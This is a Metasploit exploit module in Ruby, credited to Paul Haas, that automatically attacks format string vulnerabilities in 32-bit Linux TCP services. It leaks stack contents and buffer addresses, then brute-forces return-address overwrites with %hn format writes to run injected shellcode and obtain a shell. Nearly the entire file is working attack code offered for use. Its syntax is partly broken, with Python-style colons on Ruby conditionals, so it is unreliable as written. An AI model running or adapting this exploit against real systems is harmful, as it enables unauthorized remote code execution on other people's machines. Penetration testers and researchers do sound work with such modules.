## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote #Rank = NormalRanking include Exploit::Remote::Tcp include Msf::Exploit::FormatString #include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Automatic Format String exploit', 'Alias' => 'auto_format_string', 'Author' => [ 'Paul Haas ' ], 'DisclosureDate' => 'Nov 25 2009', 'Version' => '$Revision: 1 $', 'Description' => %q{ This module enumerates information from a format string vulnerability in order to automatically exploit it. By dumping the stack of a given program it is possible to locate the address of our shellcode and overwrite stack pointers until we bruteforce a valid return address. }, 'References' => [ [ 'URL', 'http://www.redspin.com/blog/2009/11/25/automatic-format-string-exploitation/'] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Overwrite Discovery', { } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => false, 'Payload' => { 'Space' => 160, 'BadChars' => "\x00", #'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f", #'StackAdjustment' => 0, 'DisableNops' => 'True' }, 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(4546) ], self.class ) @exploitstr = "%08s%%%05ic%%%03i$hn%%%05ic%%%03i$hn" # 36 chars @exploitalt = "%08s%%%000000012ic%%%03i$hn%%%03i$hn" # 36 chars end def check return Exploit::CheckCode::Appears end def create_format_exploit(saddress,soffset,sadjust,overwrite,shellcode) # Create a format exploit string from the given parameters. overstr = [overwrite,overwrite+2].pack('V*') # 32bit only w1 = saddress & 0x0000FFFF # Assumes 32bit address w2 = (saddress & 0xFFFF0000) >> 16 # Assumes 32bit address if w1 < w2: exploit = @exploitstr % [overstr, w1-overstr.length, soffset, w2-w1, soffset+1] elsif w2 < w1: exploit = @exploitstr % [overstr, w2-overstr.length, soffset+1, w1-w2, soffset] else exploit = @exploitalt % [overstr, w1-overstr.length, soffset, soffset+1] # w1 = w2 end #exploit << shellcode exploit << (make_nops(sadjust)) << shellcode end def exploit # Step 1: Init explen = @exploitstr.length shellcode = payload.encode if shellcode.index("\x00"): print_status("Found NULL in shellcode, ignoring badchars?") return -1 end maxlen = explen + shellcode.length #print_status("Trying target #{target.name} with format length %i and shellcode length %i" % [explen,shellcode.length]) # Step 2: Dump stack = '' for offset in 1..999 format = "%%%03i$x" % offset format += "\n" * (maxlen-format.length) connect sock.put(format) stdin = sock.get.strip.hex disconnect stack += [stdin].pack('V*') found = stack.index("%%%03i$x" % (offset-1)) if found soffset, sadjust = found/4+1, found%4 print_status("Found string offset at offset %i adjusted by %i characters" % [soffset,sadjust]) break end end # Step 3: Decode for offset in 1..999 format = "%%%03i$s" % offset format += "\n" * (maxlen-format.length) begin connect sock.put(format) stdin = sock.get.strip # May be EOFError disconnect rescue EOFError => eof disconnect end if stdin.index("%%%03i$s" % offset) format = format.gsub('$s','$p') begin connect sock.put(format) saddress = sock.get.strip.hex + explen print_status("Found pointer to string at address 0x%x" % saddress) disconnect rescue EOFError => eof print_status("Unexpected error matching format string to its address" % saddress) disconnect return nil end break end end # Step 4: Exploit startoffset = saddress - explen - sadjust - (4*soffset) print_status("Bruteforcing overwrite return addresss: [0x%x-0x%x]" % [startoffset-0x200,saddress-0x200]) # Increase our bruteforce space slightly for a couple of extra exploits for overwrite in (startoffset-0x200...saddress+0x200).step(4) if overwrite > 0xFFFFFFFD: next # (RangeError): 0xFFFFFFE + 2 end exploit = create_format_exploit(saddress,soffset,sadjust,overwrite,shellcode) if exploit.index("\x00"): next # string contains null byte (ArgumentError) end begin connect sock.put(exploit) sock.get handler disconnect rescue EOFError => eof disconnect end # SOFFSET+4 may be neccessary due to string adjust + stack alignment issues exploit = create_format_exploit(saddress,soffset,sadjust+4,overwrite,shellcode) if exploit.index("\x00"): next # string contains null byte (ArgumentError) end begin connect sock.put(exploit) sock.get handler disconnect rescue EOFError => eof disconnect end end print_status("Exploited completed, share a shell!") end end